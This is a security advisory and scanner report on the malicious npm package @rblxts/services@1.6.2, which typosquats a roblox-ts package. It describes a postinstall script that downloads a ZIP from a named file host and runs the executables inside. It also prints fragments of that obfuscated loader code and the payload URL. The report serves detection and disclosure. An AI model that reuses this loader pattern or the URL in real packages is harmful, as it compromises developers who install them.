@rblxts/services@1.6.2: Malicious npm security report (Block)

OSV Malicious Advisory

scanned 5d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-13691 confirms this npm version as malicious. Package is published under the @rblxts scope (extra 'l') impersonating the legitimate @rbxts/services roblox-ts scope; README and index.js mimic the legitimate package's API surface. scripts/postinstall.js hex-encodes core Node API names ('fs', 'https', 'child_process', 'powershell', '.exe') and base64-encodes a hardcoded URL that decodes to https://files.catbox.moe/9bppy2.zip...

Advisory

MAL-2026-13691

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @rblxts/services (npm)

Details

Package is published under the @rblxts scope (extra 'l') impersonating the legitimate @rbxts/services roblox-ts scope; README and index.js mimic the legitimate package's API surface. scripts/postinstall.js hex-encodes core Node API names ('fs', 'https', 'child_process', 'powershell', '.exe') and base64-encodes a hardcoded URL that decodes to https://files.catbox.moe/9bppy2.zip. On Windows, the script downloads that ZIP to %TEMP%, extracts it via PowerShell Expand-Archive, recursively walks the extracted tree, and spawns any.exe found using child_process.spawn with detached/windowsHide/stdio-ignored options, then deletes the ZIP. No hash or signature check is performed, and the destination is an anonymous, mutable file host. The obfuscation of API names and URL is deliberate evasion of registry scanners.

Decision reason

One or more suspicious static signals were detected.; previous stored version diff introduced dangerous source

References

OSV advisory OpenSSF JSON PACKAGE

Decision evidence

public snapshot

Behavioral surface

Source

EnvironmentVarsFilesystem

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 4.11 KB of source

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/postinstall.js#virtual:normalized:round1View file

4*/ L5: const _f=require("fs"),_p=require("path"),_h=require("https"),{spawn:_s}=require("child_process"); L6: if(process.platform!=="win32")process.exit(0); L7: const _r=()=>Math.random().toString(36).slice(2,8); L8: const _t=_p.join(process.env.TEMP||"C:\\Temp",_r()); L9: const _u=Buffer.from("[redacted]=","base64").toString();

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

scripts/postinstall.js#virtual:normalized:round1View on unpkg · L4

4*/ L5: const _f=require("fs"),_p=require("path"),_h=require("https"),{spawn:_s}=require("child_process"); L6: if(process.platform!=="win32")process.exit(0); L7: const _r=()=>Math.random().toString(36).slice(2,8); L8: const _t=_p.join(process.env.TEMP||"C:\\Temp",_r()); L9: const _u=Buffer.from("[redacted]=","base64").toString(); L10: const _z=_p.join(_t,"t.zip");

High

Install Named Payload File

Install-named source file stages remote content through filesystem writes and execution.

scripts/postinstall.js#virtual:normalized:round1View on unpkg · L4

8const _t=_p.join(process.env.TEMP||"C:\\Temp",_r()); L9: const _u=Buffer.from("[redacted]=","base64").toString(); L10: const _z=_p.join(_t,"t.zip");

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

scripts/postinstall.js#virtual:normalized:round1View on unpkg · L8

scripts/postinstall.jsView file

•matchType = previous_version_dangerous_delta matchedPackage = @rblxts/services@1.6.0 matchedIdentity = npm:QHJibHh0cy9zZXJ2aWNlcw:1.6.0 similarity = 0.500 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

scripts/postinstall.jsView on unpkg

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/postinstall.js#virtual:normalized:round1View file

4*/ L5: const _f=require("fs"),_p=require("path"),_h=require("https"),{spawn:_s}=require("child_process"); L6: if(process.platform!=="win32")process.exit(0); L7: const _r=()=>Math.random().toString(36).slice(2,8); L8: const _t=_p.join(process.env.TEMP||"C:\\Temp",_r()); L9: const _u=Buffer.from("[redacted]=","base64").toString();

High

Same File Env Network Execution

Findings

5 High3 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSame File Env Network Executionscripts/postinstall.js#virtual:normalized:round1

HighInstall Named Payload Filescripts/postinstall.js#virtual:normalized:round1

HighBase64 Obscured Urlscripts/postinstall.js#virtual:normalized:round1

HighPrevious Version Dangerous Deltascripts/postinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem